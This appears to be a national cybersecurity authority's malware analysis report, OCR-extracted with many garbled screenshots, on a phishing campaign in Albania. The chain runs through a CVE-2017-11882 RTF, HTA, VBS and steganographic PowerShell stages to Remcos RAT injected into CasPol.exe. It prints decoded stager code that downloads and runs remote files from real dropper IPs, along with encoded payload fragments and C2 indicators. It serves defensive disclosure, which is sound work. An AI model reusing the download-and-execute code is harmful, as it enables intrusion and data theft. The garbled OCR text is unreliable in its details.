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This report has limitations and should be interpreted with caution!
Some of these limitations include:

First phase:
Sources of information: The report is based on information available at the time of its preparation.
However, some aspects may differ from actual developments.

Second phase:
Analysis details: Due to resource limitations, some aspects of the malicious file may not have been
analyzed in depth. Any additional unknown information may reflect changes in the report.

Third phase:

Information Security: To protect sources and confidential information, some details may be
redacted or not included in the report. This decision was made to maintain the integrity and security
of the data used.

NCSA reserves the right to change, update, or amend any part of this report without prior
notice.

This report is not a final document.

The findings of the report are based on the information available at the time of the investigation
and analysis. There is no guarantee regarding possible changes or updates to the information
reported during the subsequent period. The authors of the report do not assume responsibility for
the misuse or consequences of any decision-making based on this report.
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A phishing campaign targeting infrastructures in Albania has been identified, sending an email
containing a malicious file named Pro+Build_25-020-000009.

Hidden in the Stars:
A Steganographic Malware Attack Leveraging
CVE-2017-11882

=: Gk 01.
== Phishing email

A hidden command is
executed in the
background.

03.
Downloaded
.doc

oy

The downloaded document
exploits CVE-2017-11882
(Microsoft Word Remote

Code Execution
vulnerability) RCE.

05.
Arbitrary Command
fromHTA

The HTA file downloads a
GIF from
74[.]208[.1123[.1191,
renames it to .vbs, and
saves it in %APPDATA%.

07.
VBS script

The VAI function is invoked from Task
Scheduler, executing with string
parameters:

+/ (Remcos Payload encoded.txt
and Caspol.exe)

> 09.
%ﬁ Caspol.exe

The Remcos Trojan
exfiltrates all sensitive data
to the C2 server at
216[.19[.1225].175 (VPS)

A phishing email is sent
containing the document
Pro+Build_25-020-
000009.docx

02. docx
opened

Once the document is opened, it automatically
downloads another .doc document from:
hxxps: //kutt.ar-email[.]Jecom[.]br /WYMDyt? &syria

04.
CVE-2017-11882

Arbitrary commands from
an HTA file inside the .doc
file are executed.

06.Download gif |G|F!

The VBS script executes and starts PowerShell,
which:
« Downloads image.jpg from 67[.]217[.]247[.]193
« Uses steganography to extract the payload
* Loads the extracted payload using PowerShell
Reflection

08.
“VAlI” function

@@

The Remcos shellcode is
injected into Caspol.exe

10.
C&C exfiltration
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Analysis of Pro+Build_25-020-000009 file

Pro+Build_25-020-000009 is a docx file and at first glance appears to be a regular, legitimate
Word file. If we access the file, a URL will appear that attempts to download a file.

Word

Downloading: https://kutt.ar-email.com.br/WYMDyt?&syria (0%)

Fiure 1:Exteirna| URL

Figure 2: External URL analysis

If we try to access the URL in a browser, automatically will be downloaded a file named:
nicepersongivenmebestoptionsforlongtime___ nicepersongivenmebestoptionsforlongtime
nicepersongivenmebestoptionsforlongtime.doc.
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Detect It Easy v3.07 [Windows 10 Version 2009] (x86_64) T O X

File name

> rlongtime nicepersongivenmebestoptionsforlongtime nicepersongivenmebestoptionsforlongtime.doc

File type File size Advanced

Binary 124.32 KiB

Scan Endianness Mode Architecture Type
Automatic LE Unknown NOEXEC Unknown
¥ Binary

Format: RTF
Format: plain text{CR]

Options
atur v Recursive scan v/ Deep scan | | Heuristic scan v/ Verbose ‘ About
Directory 100% F Log ] ANl types 57 msec Exit

Figure 3: RTF file

Typically, files with the .doc extension are used in campaigns that exploit vulnerabilities in
Microsoft Office (Word) that execute arbitrary commands on the infected computer using HTA
files as payloads. To confirm this fact, we continue the dynamic analysis and identify a Powershell
command that is executed after the .doc file is downloaded.

U§ o 0)s Pro+Build_25-020-000009.docx - Microsoft Word

)

—) Home | lnset Pagelmpout Refeesces Mallogs Review  View R Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-IKSROC1\flare] (Administrator) - o X v

Calibri (Body) - A e File Options View Process Find Users Help A Find -
* O . % Re

e B e (CTICETRTOPSET Y i — — 1| | [power
J Format Painter . Process | CPU| Private Bytes| WorkingSet|  PID| Descripton | Company Name o % Selea~
Clipboard & Font & Paragi ‘ d Editing

on"

VOWE4\WindowsP owerShell\v1 O\powersh

(CPU Usage: 0.00% Commit Charge: 26.84% Processes: 142 Physical Usage: 31.67%

0 characters (an

Figure 4: Arbitrary powershell command
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If we analyze the code that is executed, we see that we are dealing with a base64 encoded
command, which during execution is decoded and executed with Invoke-Expression.

To understand the behavior of the file, we take the full command and modify it by adding variables
to see the result.

PS C:\Users\flare> C:\Users\flare\Desktop\decoded.psl
[*] PowerShell Script Started...

[*] Decoding Base64 string...
[+] Decoded String Output:

$3

= Add-TYpE -mEMBErDefINITION
'[D11Import("Urlmon.D11", CharSet = CharSet.Unicode)]public static extern
IntPtr URLDownloadToFile(IntPtr iCKn,string XHIVHYVYQR,string

ugJ,uint tArb,IntPtr MOJbh);*
-nAmE CTIRT -NamesPACe
i0 -PassThru; $3::URLDownloadToFile(0,"http://74.208.123.191/
911/n1icepersongivenmebestoptionsforlonatime.aTF" . "SFENV:APPDATA\nicenersonaivenmehestontionsToriongtime. vbs ,U,U);STArI-S1EEP(3); TNVOKE—
iTeM "$env:APPDATA\nicepersongivenmebestoptionsforlongtime.vbs"
[*] Script Execution Finished.

PS C:\Users\flare>

Figure 5: Powershell command decode

The download of a file with the .vbs extension is recorded, where it is stored in the
%APPDATA% location. If we access the file in this directory, a file with the name:
“nicepersongivenmebestoptionsforlongtim.hta” appears, which contains the payload that is
exploited by the Microsoft Office Word vulnerability CVE-2017-11882 from the .doc file itself
downloaded in the first stage.

) > ThisPC > Local Disk (C) > Users > flare > AppData > Roaming *> v O Search Roaming
Name ’ Date modified Type Size
s Quick access
I Desktop
¥ Downloads

Adobe 11/3/2023 10:30 AM

Hex-Rays 11/6

JetBrains 3/12
= Documents

Mael Horz
& Pictures Microsoft
D Music Notepad++
m Videos NuGet
. . Sun
= This PC
SweetScape
& Network Visual Studio Setup

WinRAR

El nicepersongivenmebestoptionsforlongtim.hta

j] nicepersongivenmebestoptionsforlongtime.vbs

Figura 6: HTA payload and .vbs file

The .vbs file has a very large number of lines of code and variables that do not seem to have any
malicious intent, but during execution at runtime a Powershell command encoded in base64 is
executed. We modify the code and manage to display what is executed and follow it with the debug
process.
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$dipsadine = txt em1tgno1rofsno1tpotsebmne\1gnosrA/119/191 321.802.47//:ptth’;
$analyzing = $dipsadine -replace "#'
$migraine = 'http://67.217.247. 193/ lZ/wnc/new image.jpg’
Sunfunny = New-Object System.Net.wWebClient;
$bayacuru = $unfunny.Down]oadData($m1gra1ne),
Shyalosome = [System.Text.Encoding]::UTF8.GetString($bayacuru);
$verminer = '<<BASE64_START>>';
$holivars = '<<BASE64_END>>";
$eleidin = $hyalosome.Index0f($verminer);
10 $Nephthys = $hyalosome.Index0f($bolivars);
11 Seleidin -ge 0 -and $Nephthys -gt $eleidin;
12 Seleidin += $verminer.Length;
13  $subfigure = $Nephthys - Seleidin;
14 $underframe = $hyalosome.Substring($eleidin, $subfigure);
15 __Strichor = [System.Convert]::FromBase64string(Sunderframe);
16 $lorum = [System.Reflection.Assembly]::Load($trichor);
VAT

WoNAWV S WN -

PS C:\Users\flare> C:\Users\flare\Desktop\stage_2decoded.psl
True

Hit Line breakpoint on 'C:\Users\flare\Desktop\stage_2decoded.ps1:17"
[DBG]: PS C:\Users\flare>> $dipsadine
txt.emitgnolrofsnoitpotsebmnevignosrA/119/191.321.802.47//:ptth

[DBG]: PS C:\Users\flare>> $underframe
TVQQAAMAAAAEAAAA/ /BAAL GAAAAAAAAAQ gAAAAA4 fug4AtAnNIbgB TMOhVGhpcyBwem9ncmF tIGNhbm5vdCBiZSBy i

[DBG]: PS C:\Users\flare>>

Figure 7: Powershell command decode

We see a large number of variables. The variable $dipsadine seems to store a URL where the
string of characters is reversed. The variable $migraine contains an image.

2 MO [E new.imagejpg (3840x2160) x B —

« C A Not secure | 67.217.247.193/712 ew_image.jpg T3 =

Figure 8: new_image.jpg

The $unfunny variable creates a WebClient object and starts downloading the image with the
$migraine variable as a parameter. The $verminer and $bolivars variables contain the beginning
and end of a base64 encoded payload indicating that this is a steganography instance. During
execution, it is decoded from base64 and uses PowerShell Reflection, which is used to execute
an .exe or .dll file written in .NET. Home has a function called VAI that takes as a parameter the
variable $analyzing where it is a text file that is retrieved from the URL specified at the beginning.
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To see this executable file we take the result of the variable $underframe:

~BmE input

Output #.

11This progr:

Figure 9: Executable file .NET.

After downloading the file, we perform a more in-depth analysis of it.

Fl ORE UM
Detect It Easy v3.07 [Windows 10 Version 2009] (x86_64)

File name

> C:\Users\flare\Desktop\download.exe
File type File size
PE32

D Advanced
1.99 MiB

Scan

Endianness Architecture
Automatic

LE 1386
» PE32

Library: .NET(v4.0.30319)[-]
Compiler: VB.NET(-)[-]
Linker: Microsoft Linker(48.0)[DLL32]

Shortcuts

Options
Signatures v/ Recursive scan v/ Deep scan [} Heuristic scan v/ Verbose

Directory 100% IT Log | [] All types

258 msec

Figure 10:.NET file

If we start the Reverse engineering phase of the file, we will find that it has a name TaskScheduler.
This file has imported a large number of Win32API functions such as: VirtualAlloc,
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VirtualProtect, WriteProcessMemory_API, etc., which means that it is trying to inject a payload

into a legitimate process.

VAl(string, string, string, string, string, strin...

startupreg, caminhovbs, namevbs, st netframework, nativo,

persitencia, s i > nomedoarquivo, r string_0, minutos, startuptask,

€

nomenativo,
taskname)

(minutos))
3);

(minutos, num) )

(persitencia, (23690)))
ice taskService = S ice();
n taskDefinition = taskService.lNe
9);

(133))

Figure 11: VAI function

VAI function is a function that takes a total of 15 parameters, of which only 2 are the parameters
that it uses. One is a payload of type text and the second is the CasPol character string.

niceperso xt - Notepad s a X

File Edit Format View Help

= AAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAA AAAAAAAA AAAAAAAA
3A7N0eD03wANEeDg3g3NwdDa3Q2NIdDR3QgNebDw2grNsaDn2gmNgZDV2QKNQYDC 1wfNSXDU1AbNKWD1 1AWNYVDT 1WTNIUDAGQPNK TDS@EKNC SDOgFNQRDROQDNAMD+ zw+MkPD32 g6l
+gqPg6DM+APPIEDE+gNPWSDa+AMPYSDU+gkPASDO+APOADT+ghPQADC+AQPA3D89gePg3D29AdPT 3DWOEbPW2DGIAaPY2DkOgYPA2DE9AXPO1DYIgVPQ1DSOAUPAADMIgSPEODGIAR
4QNOMjDX4WL0@1DraQKOC iD14wIOEiDf4QHOS hDZAWFOUhDT4QEO8gDNAWCOKgDHAQBOMGDB 3w/ NafD73Q+Nc fDf3Q3NsdDZ3w1NUADT3QONSCDN3wy Nk cDH3QXNMCDB2wvNebD72Qul
6Qq0gqDN6gpOUGDKE6WO0IqDh6A008pDe6QNOWpDb6EMOKpDY6W10YPDVEA1OMPDSE6QKOAPDPEEj000DMEW1000DI6A10Cc0DGEQh0QODD6EEOEODASESOKKDI SWQOIKDBSAAAAAASAUAI
8wWCPKwDH8QBPMWDB7w/00vD77Q+0cvD17Ww80EVDY7Q705uDp7w50UuDj7Q408tDd7w20k t DX7Q10MtDR7Wz0@SDL7Qy0c SDF 7wwOEOD/6Qv0OsrD56wtOUrDz6Qs08qDt6wqokgDn6Qp!
1ASNCUDG1QRNQUDD1QNEQD/AAQAEDQBQCQMSFDSX4 TMOE JKXASMWEDDXIAMAD 7WQOMaDDOWYMMSC j swgKMeCD1wo IMAC j dwwGMiBDWwWA EMEB jOWADMMADHWIBMIAAAAWEAFAIA/4/|
7190WuDh7130gt jT6kSNweTc381NNdz03kyNXcTB2MVNhbzz20rNraTm2U1NBVT810eNviWTm1cWNbVDL 18BNhTDWOYLNjSTe@AHNpRZ JOAYMmMPDOZK7MyOTizEAMKNVZCOMHIT7WUNI
30jNGbjt2sqNEazS2wWSNEWDC1EVN1QTIBSNNZRDSOMDNAM Nz CpMML TXAAAASBABWCAAAST L +SpPVOTWSANPYZ jX801IP/ t267wS0qt jO5STOdK jFA4P03 jD64GNORT jk1cMMACTEAAA,
3kmN+bz62grNIazX2UINLN]SyYuMfITBXIfMYHTXxxSKMCCAAAWEAEAGA/@nPF7jv+MqPd6j1+goP95jd+kkPwojj8cwObujk7YmOkrzk6so040DA3UaNXXzx1TYNDRDWOEWMNPjez 82!
YUtMRLTZyKSMFLDPXUCMBHTVXKbM1GTSX@aMpGDFwOIMZCT1WE JMNCT iwUIMBCAAAAGADANA/ gvPkS jU+AjPbOz+9k0PMZzD101MhLTZXSbMGBAAAQCADAMA/ g/Ps/D2/wW3PX92Y /U1l
XYeMgHz 2XUdMPHTyYxQcM+GDuxIbMtGzpxEaMbGj1XxAZMKGDhX8XMSF zc XOWMOF JYXWVMWF TUXSUMF FZPX0 TMOE j LxgSMJ E THXCRMREDDXYQMAAj +wUPMVDT 6WMOMeDD2wINMMDZ XWEM!
1UdN8ST10SMNBT 2 t@OKNNGT iwoOMGBAAAQPADAEAAAWPt +zH+UpP1@je7A600uDe7EAOj SDC6QUONrDs6gaMuHT 2xQc MpBAAAADADADA2ArNGBAAAWAADACAT s FNUL ZHykQMZHTXAAA
+ENPr5zYAAAAYAQAEDAAA4 j1+8CPG3Zu9IbPr2jp9AaPY2DkoMYP91zd9EXPN1TYIUVPP1ZRIEUPLEDIIUBPIYZ58gIPkxzUB4DPXWZ I8SBPRWICBUWO/vi+7U/0rvT47c90NVjv7Q7!
/8yPZAD3+MtPe6Tk+ONPQ5ZR+gjPrazF9sePi3z09YCPy2Tg9oYXPn1zU9gUPSODLIUBPPzDABENPE zDS8QIP7XDC8MGPOXTH7U/OUUjI170h0Zr TS61t04pTQEKQOUNjt5ga0k1 TWSCBI
ywpMYKD1yApMMKD1yQoMAKDTygnMeIDcywmMoIDZyAmMc IDWyQIMQIDTYgKME IDQYwjMAED2XSZMFCZOWECAAEAEAEACAAAA/ ESPEITY+8UPY7TZ+IQP+1ZP9YSPbOTFI8QPIWzZ+8UP!
XUZMKGDbx@TMyE jHWWMM1CTbwg FM6ATNWOAAAAATAEAMAAAA/E/PX/ 22 /k8P8+zt/sYP/yDvBYIPVt jc7gmOHr Tv6whOPkzb5sFOs j jw3woNhezV38yNMUT314VNTVZS1QUN+UDIOCPI
1wfNpXjO14ZNLWJg1AHNr TTROKLN7QjLZ87M10DOZYSMPNDMZAXMOL jyyorMBKTIxs JAAEADAAAAASTC+5qPq5jX+QiPTOj/9YZPC1D084PPAZ Tr8EKPEWZE71701uzc75101rD164q
+QnP15jV+gjPp4jG+sQP03zvoAbPh2jkoMYPO1TZYVPMIDNOUSPWWDBBEOPSZZWBQLPBt TZ7g80AvZN7530/5TG7YEOSrjs6snODkT35EdOFnzr58Z0hhj540NOwi TSAMEOkCZ+3U+
6IMOZpTQ6Mj0002165hOWOZASWFO3nZ45Md0InZWSkbOtmDPSMZ0/1§CcSYWOS1ZR5QTOpkz I5SROWKDESYQOAGT34ENO81 Ts4gK0diD14k I0A1 Td4wGOhhDWAAFOHhTQAWDOt gz T4wB!
WOMMBCDMAAAAUAAAZAAAALD ] +WQP03jWOYYPA1TTISRPLWT 28kMPpy jm8YIPKxZK8ECPES]/7U/0vvj67U+0gvT27Q90NVDY 7w703uTs785015 TH6UVOZqTr6cqOhgDm6 IpOMgjh6Ao
DEITELIXI4bISRCEGDSZF7 juI70vuWACisvpSBGKOTjja31+EfgieMqvvzjioNaDcX@XSAIDPGqLHK1TZobG73az8Dgf5T13/kQYWaD35713UeHMadmdR+KqNAUdZ2LeMLIS+aEERh7+
v6zrMqeGdNHrXKI1Bx5zXB/XS3dKQxmkTh5y1+gVofZP4ZS1ubuvnc JQdEXkBybsz3sb7Rstque9oP7wHZJw3)anqfrhEeLaV1 JBOcsimionTfe0/t5z0hYFKE2ul0A@ThjdThrx
PAAAAAABAAWDAAAAAAPAABAAAAAAWDAAPAAAAAABAAWDAAAAAAPAABAAAAAAWDAAPAAAAAABAAWD) PAASBAAAAAADAA/ //HA// /AAw/ [/ A8/ /PAAB/ [PA///DAA///Dw/ [ [ AAW,
AAAAAAAAMDED/ /[ c2++/Vy75/70uo/vj6i+/0qL6/70u0/vj6i+/0qL6/70u0/vj6i+/0qL6/70uU0/V]6i+/0qL6/70U0/V]6i+/0qLE/70U0/V]6i+/0qLE6/70uU0/V]6i+/0qLE/70
AAAAAAAA/DAq/ /PAY+//Ag5//DAm/ /PAY+/ /Ag5/ /DAm/ [PAY+/ /Ag5//Dwl/ /PAX+//AcS//Dwl/ /PAX+//AcS//Dwl/ /PAX+//AcS//Dwl//PAX+//AcS//Dgl//PAW+/ /AYS/ /Dg
AAAAAAAA/DQp/ /PiC///AQAA/DAGASTIjBX/pYHF/LRWISVNLGX/T81D/DQGASPAgAW/ZEYG/ jyeUs/Fjtw/ roXF/zCfWsfDTZw/ rwXF/bCfT8FMMix/ cMmD/DWHASTANAW/QCXF/ry:

........ Inne [ 1oden 17 lannnlnanannana . /aasslnanAnnans-/anan /nAsAnnAnA.. /aras InAaAnnAna. . /aras Innasnnass-/aana inanannass../aansinasaanana../aras /nn

< >
Ln1,Col 1 100%  Windows (CRLF) UTF-8

N

AAAAAAAA/DQp///hD///AAAA/DAAAsPAAAw/AAAA/DAAABPAJAw/CVSA/DSZQB/IwFx/vucD/HstBPBij/hwGE/r]kdsfH05w/8WVH/DA1A8PAdAw/1gwE/LthsPonw/xk1(/T: o

Figure 12: TXT parameter like payload

This payload is passed as an argument to several functions, transformed and injected into a
legitimate process named CasPol (Code Access Security Policy Tool). So, the file starts the
legitimate CasPol process and performs injection into the memory of this process, so to see what

happens we follow it with the debug process.
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Tools X

) aiee = 13; i +=
(EEC a2 v IAPLWRITEPRO

numl4 = \u (\uEee2, numl2 +
numl5 = \u (\uE@e2, numl2 + \u
numl6 = 9. (\uE@82, numl2 +

f (numls !

Aa A

te[] array2 = [num15 - \uE10F. ) + (1)1;

(\uE@@2, numl6, array F rray2. )s

cessMemory_API(process_INFORMATION.ProcessHandle, numl@ + numl4, array2,
array2.Length, ref num7))

FO98. s

numl2 += \uE10F. (126);

(num1e);
(process_INFORMATION.P 3 E10F . (14), array3,

\uE000
& \uE001
> \UE002
> \uE003
& text @ &
© startup_INFORMATION dnli
&2 process_INFORMATION dnlib.I0.AP
> flags

Figure 13: CasPol.exe and byte vector

A vector of bytes is also identified, which indicates that we are dealing with another payload, an
executable file that we can distinguish by the hex value 4D 5A.

Locals

Name

4 2 \uE002
@ [

Figure 14: Executable file

After downloading this file, it will be evident that it will automatically receive a logo from which
it is understood that we are dealing with REMCOS RAT, which is injected as shellcode into the
legitimate CasPol.exe process.

malware.exe

Figure 15: Remcos RAT
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7 5 1= +] \@ L= s Tor VUL OO Uor T
Process Name Process D Protocol State Local Address Local Port Remote Address Remote Port Create Time Module Name Sell
B ! CasPol.exe 4956 Tcp Established  192.168.141 49772 216922575 8046 3/2/2025 1:36:16 PM  CasPol.exe
N NordVPN exe 9012 P Established  192.168.141 49739 21210256179 443 3/2/2025 1:3547 PM  NordVPN.exe
N NordVPN exe 9012 TP Established  192.168.141 49737 20721121126 443 3/2/2025 1:3547 PM  NordVPN.exe
[Time Wait] TP Time Wait 192.168.141 49730 204.79.197.239 443
[Time Wait] TcP Time Wait 192.168.141 49725 204.79.197.239 80
£ msedgeexe 5244 TcP Established  192.168.141 49759 204.79.197.203 443 3/2/2025 1:3552PM  msedge.exe
£ msedgeexe 5244 TcP Established  192.168.141 49755 204.79.197.203 443 3/2/2025 1:3552PM  msedge.exe
Figure 16: Command and Control Server
MITRE ATT&CK
Nr. | Tactic Technique
1 T1566 :Phishing

Initial Access (TA0001)

T1566.001 : Spear phishing Attacment

2 Execution (TA0002)

T1053.005 : Scheduled Task

T1204.002: Malicious File

3 Persistence (TA0003)

T1547.001 : Registry Run Keys / Startup Folder

T1053.005 : Scheduled Task

(TA0004)

4 Privilege Escalation

T1140 : Deobfuscation

T1055.012 : Process Hollowing

T1053.005 : Scheduled Task

5 Defense Evasion
(TA0005)

T1564.001 : Hidden Files and Directories

TA1562.001 : Disable or Modify Tools

T1055.012 : Process Hollowing

T1564.003 : Hidden Window

6 Credential Access
(TA0006)

T1555.003 : Credentials from WebBrowser

TA1552.001 : Credentials in files

TA1552.002 : Credentials in registry

7 Discovery (TA0007)

T1087.001 : Local Account

Indicators of Compromise (I0Cs)

D6D66AB4FAG699711648
09C21EAE630861605332
F38B99BC885402ED2C
C925398B

Pro+Build_25-020-000009.docx

816EF91298A44C3231B5
E17FBD85D6F1CES56581
9A921331AF56D32FB53
S5F5F52

nicepersongivenmebestoptionsforlongtim.hta

E6ESBCOF0C1757DB14
691C14FEGE179E06C1F

nicepersongivenmebestoptionsforlongtime.vbs
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4733D2A91E00C1CO0AA

4A88C5A59

AD4E305243EEA4EB48 | Microsoft.Win32.TaskScheduler
308CE4BCCD6B999ED9

3F9810A82236987187FD

A9E12DE1

DF758036E3B14633B297 | NICEPERSONGIVENMEBESTOPTIONSFORLONGTIM
33C7F62A9D52660BFAF | E NICEPERSONGIVENMEBESTOPTIONSFORL
6124CB2BB3427C3B817 | ONGTIME NICEPERSONGIVENMEBESTOPTION
14082B SFORLONGTIME.DOC

76B1F681DD3B617B885 | New_image.jpg

68D2D0A0AACIB589C8

9B569FB25AC5BEODFO

839E96E8D

74[.]208[.]123[.]191 Dropper

67[.]217[.]247[.]193 Dropper

216[.]9[.]225[.]75 C2

hxxps://kutt.ar- Dropper

email[.Jcom[.]Jor/ WYMD

yt?&syria

Recommendations

National Cyber Security Authority recommends:

Immediate blocking of the Indicators of Compromise, mentioned above, on your protective
devices..

Continuous analysis of logs coming from SIEM (Security Information and Event
Management).

Training non-technical staff about "Phishing" attacks and ways to avoid infection from them.
Installing network perimeter devices that perform deep traffic analysis based not only on access
list rules but also on its behavior (NextGen Firewalls).

The identified systems should be segmented into different VLANS, applying an “Access
control list for the entire network perimeter”, web services should be separated from their
database, Active Directory should be in a separate VLANS.

Application and use of the LAPS technique for Microsoft systems, for managing Local
Administrator passwords..

Apply traffic filters in the case of remote access to hosts (employees/third parties/customers).
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e Implement solutions that filter, monitor, and block malicious traffic between Web applications
and the internet, Web Application Firewall (WAF).

e Conduct traffic analysis at the behavior level for end devices, applying EDR, XDR solutions.
This brings the analysis of malicious files not only at the signature level but also at the behavior
level.

e Design the “Identity Access Management” user access management solution to control user
identity and privileges in real time according to the “Zero-Trust” principle.

Authors:
Adriano Lleshi
Bledar Kacadej
Ervis Qose
Eriola Sadiku
Ergis Gaxho
Gentian Teliti
Kristian Josifi
Redon Hoxha
Sara Qoshi
Vilma Tema

Address: Rruga “Papa Gjon Pali II” nr.3, Tirané; www.aksk.gov.al
info@aksk.gov.al; Tel./Fax : 04 2221 039
11


http://www.aksk.gov.al/
mailto:info@aksk.gov.al

